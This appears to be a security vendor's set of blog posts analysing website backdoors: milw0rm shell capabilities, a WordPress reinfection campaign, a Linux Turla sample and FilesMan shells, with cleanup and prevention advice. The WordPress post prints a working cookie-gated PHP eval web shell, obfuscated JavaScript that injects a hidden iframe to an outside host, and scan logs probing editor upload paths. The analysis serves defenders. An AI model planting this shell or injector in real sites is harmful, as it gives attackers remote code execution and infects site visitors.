Learn What Milw0rm Backdoor Malware Can Do With Your System

Background

Like the majority of our posts, this one is based on the recent malware investigation and clean-up of the infected website. It shows which tools can a backdoor, in this case milw0rm, give hackers once it is planted on the compromised website.

Hard to find due to thorough encryption and indirect connection to the affected website, backdoor easily bypasses the authentication and establishes remote access to the server. From that moment on, an attacker can use your system without being detected. If you think you've been infected by backdoor or any other malware, feel free to reach out to us at https://helpdesk.quttera.com

Milw0rm Backdoor Capabilities

Below is a list of actions that attackers can perform without your consent.

• Server information gathering
• OS
• PHP version
• Harddisk
• Server IP
• Client IP

Milw0rm backdoor. View the security information 

• File tools
• Change directory
• Make directory
• Execute file
• Upload file
• Compress/ un-compress file (zip)

Milw0rm backdoor. File tools/ Compress/ un-compress file

• Console
• List directory
• Show active connections
• IP configuration
• ARP table

Milw0rm backdoor. Console.

Milw0rm backdoor. Console.

• SQL browser
• Execute PHP code
• Safe mode bypass
• Read file
• List directory
• Curl
• Ini restore
• String tools
• String conversion

Milw0rm backdoor. String tools/ conversion.

• Search text in files
• Search for hash
• FTP bruteforce
• Network tools
• Bind port to /bin /sh
• Back-connect
• Self remove
• Remove the backdoor shell
• View all the security information of the server
• Server software
• Disabled PHP funtions
• cURL support
• User account names

Needless to say, that with this level of access and control over the website and server the hacker can upload other malicious codes. At this stage the choice is very broad: email spammers, Distributed Denial of Service (DDOS) tools, fake logins and etc.

Attack origin and prevention

Avoid FTP (and any other actually) usernames that can be found in your website. As it happen in this case, you give hackers a way to brute force your FTP site credentials.

Resolution

As a part of anti-malware services for websites, the backdoor was removed and a re-consideration request has been submitted to remove website from Google and other vendors blacklists.

Backdoor Malware Targeting WordPress Websites

Backdoor Malware In The Wild Targeting WordPress Websites

If your website gets reinfected every 20-30 minutes. If blacklisting authorities like Google Safe Browsing does not keep up with the reinfection and fail to inform you. If you run WordPress platform and use 3-d party plugins/themes.

Then, it is likely you suffer from Backdoor that our malware research labs have recently discovered while cleaning customer websites.

You can check your site with our external and free scan using Quttera Free Website Malware Scanner

Background of the infection

How many websites attacked?

There is no exact number but more than two thousands. During first weeks of this infection Google didn't recognize it. The malware code included logic to clean-up previous infection and insert a new one.

Which platforms were targeted?

Current version mostly aimed WordPress installations.

What malicious action was applied to victim sites and their visitors?

Successful attack injected hidden iframes into every JavaScript file. On home page load, visitor's web browser loaded numerous JS files and got connected in background to several other websites via iframes.

How many files were infected?

All JavaScript files available on attacked server.

Where the files were located?

All infected files located in wp-content and wp-include directories.

The root cause

How backdoor was identified?

One of our customers was blacklisted by Google due to another kind of infection. During the investigation current malware was uncovered as well. At the same time, we detected this infection on websites of our other customers, which bypassed Google's and other's radars.

Backdoor details

A backdoor (or just shell file) was uploaded utilizing themes/plugins vulnerabilities. Following is an example of how attacker searched for available vulnerability using HTTP HEAD request:

"HEAD /fckeditor/editor/filemanager/connectors/aspx/upload.aspx HTTP/1.1" 404 "HEAD /fckeditor/editor/filemanager/connectors/asp/upload.asp HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/connectors/php/upload.php HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/upload/aspx/upload.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/upload/asp/upload.asp HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/connectors/aspx/connector.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/connectors/asp/connector.asp HTTP/1.1" 404 318 "-" "-" "HEAD /fckeditor/editor/filemanager/connectors/php/connector.php HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/browser/default/connectors/php/connector.php HTTP/1.1" 404 299 "-" "-" "HEAD /fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/connectors/aspx/upload.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/connectors/asp/upload.asp HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/connectors/php/upload.php HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/upload/aspx/upload.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/upload/asp/upload.asp HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.1" 404 318 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/connectors/aspx/connector.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/connectors/asp/connector.asp HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/connectors/php/connector.php HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp HTTP/1.1" 404 299 "-" "-" "HEAD /includes/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/connectors/aspx/connector.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/connectors/asp/connector.asp HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/connectors/php/connector.php HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/connectors/aspx/upload.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/connectors/asp/upload.asp HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/connectors/php/upload.php HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/upload/aspx/upload.aspx HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/upload/asp/upload.asp HTTP/1.1" 404 299 "-" "-" "HEAD /admin/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.1" 404 299 "-" "-" "HEAD /ckeditor/ckfinder/core/connector/asp/connector.asp HTTP/1.1" 404 299 "-" "-" "HEAD /ckeditor/ckfinder/core/connector/php/connector.php HTTP/1.1" 404 299 "-" "-" "HEAD /ckeditor/ckfinder/core/connector/aspx/connector.aspx HTTP/1.1" 404 318 "-" "-" "HEAD /kcfinder/browse.php HTTP/1.1" 404 299 "-" "-"

All of those were attempts to find a way to upload the following backdoor which is then used to infect the server:

<?php if(!empty($_COOKIE['__mestore']) and substr($_COOKIE['__mestore'],0,16)=='3469825000034634'){if (!empty($_POST['message']) and $message=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['message']))))){echo '<textarea id=areatext>';eval($message);echo '</textarea>bg';exit;}} exit;

The backdoor decoded content of the "message" field provided in HTTP post request,

$message=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['message'])))))

executed provided commands,

eval($message)

and printed script output into returned HTML,

{echo '<textarea id=areatext>';eval($message);echo '</textarea>bg';exit;}} exit;

The script is generic and it permites execution of any PHP code provided in "message" argument.

Finally, the target of this backdoor/shell was to execute and input script which then infected all JS files on the compromised system.

The actual infection is a header, prepended  to every JS file:

/* Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/ */ function getCookie(b){var a=document.cookie.match(new RegExp("(?:^|; )"+b.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+"=([^;]*) "));return a?decodeURIComponent(a[1]):undefined}(function(){function e(b,a,c){var f=(b+'').toLowerCase();var g=(a+'').toLowerCase( );var d=0;if((d=f.indexOf(g,c))!==-1){return d}return false}function h(){var b=['bots','AppleWebKit','Windows NT 6.3','X11','Phone ','Google'];var a=false;for(var c in b){if(e(navigator.userAgent,b[c])){a=true;break}}return a}var i=(getCookie("akelbriston19ure" )===undefined);if(!h()&&i){document.write('<iframe width="112" height="132" style="position:absolute;margin-top:-1002px;" src="http://iframehost/something17.html"></iframe>');var j=new Date(new Date().getTime()+48*60*60*1000);document.cookie="akelbriston19ure=1; path=/; expires="+j.toUTCString()}})(); /* Copyright (C) 2000 Free Software Foundation, Inc. See LICENSE.txt */

Attack flow

So how this worked?

1. Server A searched the web for WordPress installations with known vulnerabilities.
2. Backdoor/Shell uploaded to servers detected in step (1).
3. Server B invokes the shell with a PHP code that performs JS files infection.
4. Re-infection occurs every 20-30 minutes.

Malware clean-up

As a first step, we have identified the organization that owned the IP. We have then contacted the hosting provider and filed malware/abuse report.

We have conducted all necessary steps to clean up the 3K+ infected files, updated all outdated software and remode vulnerable plugins.

If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.

'Turla' Malware Now Supports Linux

New Sample Of 'Turla' Backdoor - Linux Version

A new 'Turla' Trojan sample has been discovered that targeting Linux operating systems. The previous 'Turla' Trojan targeted Windows operating system but the newly discovered sample supports Linux operating systems too. 

The malware static linking to all required external libraries which makes it independent from

libraries and their versions installed on the victim machine.

'Turla' is derived from publicly available backdoor cd00r (http://www.phenoelit.org/stuff/cd00r.c) and it doesn't 

require administrator (root) privileges and could be executed by any user.

Once, the 'Turla' Trojan executed, it starts a network sniffer and listen for a specific network packet. Once the packet received 'Turla' activates backdoor functionality. 

The first 'Turla' Trojan sample was discovered in yearly 2012 when it was used to attack government computers and servers.

At the time this post was written, new sample was already detected by almost 50% of major antivirus engines

https://www.virustotal.com/en/file/3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4/analysis/

FilesMan Backdoor Malware On Your Computer

FilesMan is being abused in the wild

What is FilesMan? It is a File Manager used to explore the files in a computer. It is the most basic malware tool that attackers upload to your website as a form of backdoor to browse your files. Some of these File Managers are sophisticated and has their own GUI (Graphical User Interface), some are capable of uploading and downloading files from your website as if the attackers were in front of your computer browsing it personally.

Do I have this malware on my website?

So how do you spot if your website has it? A string search for "FilesMan" would actually do the trick. However, most of the attackers use heavy obfuscation so that you can't detect it by simple string searching. You may also want to look for split strings. This technique is also widely used to outsmart string searching by site owners.

This is an example of an ordinary FilesMan that can be searched throughout your system:

FilesMan backdoor malware

While this one has been concatenated and can still be searched by using regular expression:

FilesMan obfuscated with string split applied.

Other well known File Managers that are being abused in the wild has GUI and can be found mostly anywhere on the internet:

C99 Madshell:

C99 Madshell

b374k-shell:

b374k

How to prevent the infection

Everyday, attackers find new ways to hide backdoors so it is safe to follow there rules to improve your protection:

1. Backup your site.
2. Keep your CMS version up to date.
3. Change you passwords periodically. Most hackers try to brute force the credentials.
4. Change Table Prefix of database. This will avoid SQL injections.
5. Add additional security by modifying .htaccess.
6. In case of WordPress it is recommended to run periodically both internal and external scans with our plugin.
7. Always keep plugins and themes updated to latest version.

Still got infected and/or blacklisted?

No worries. There are no bulletproof websites. Here at Quttera we're cleaning this and other kinds of malware on a daily basis. If you'd like our malware analysts to help you, just select appropriate ThreatSign! anti-malware plan and get back online.

For other issues and help: Quttera's help-desk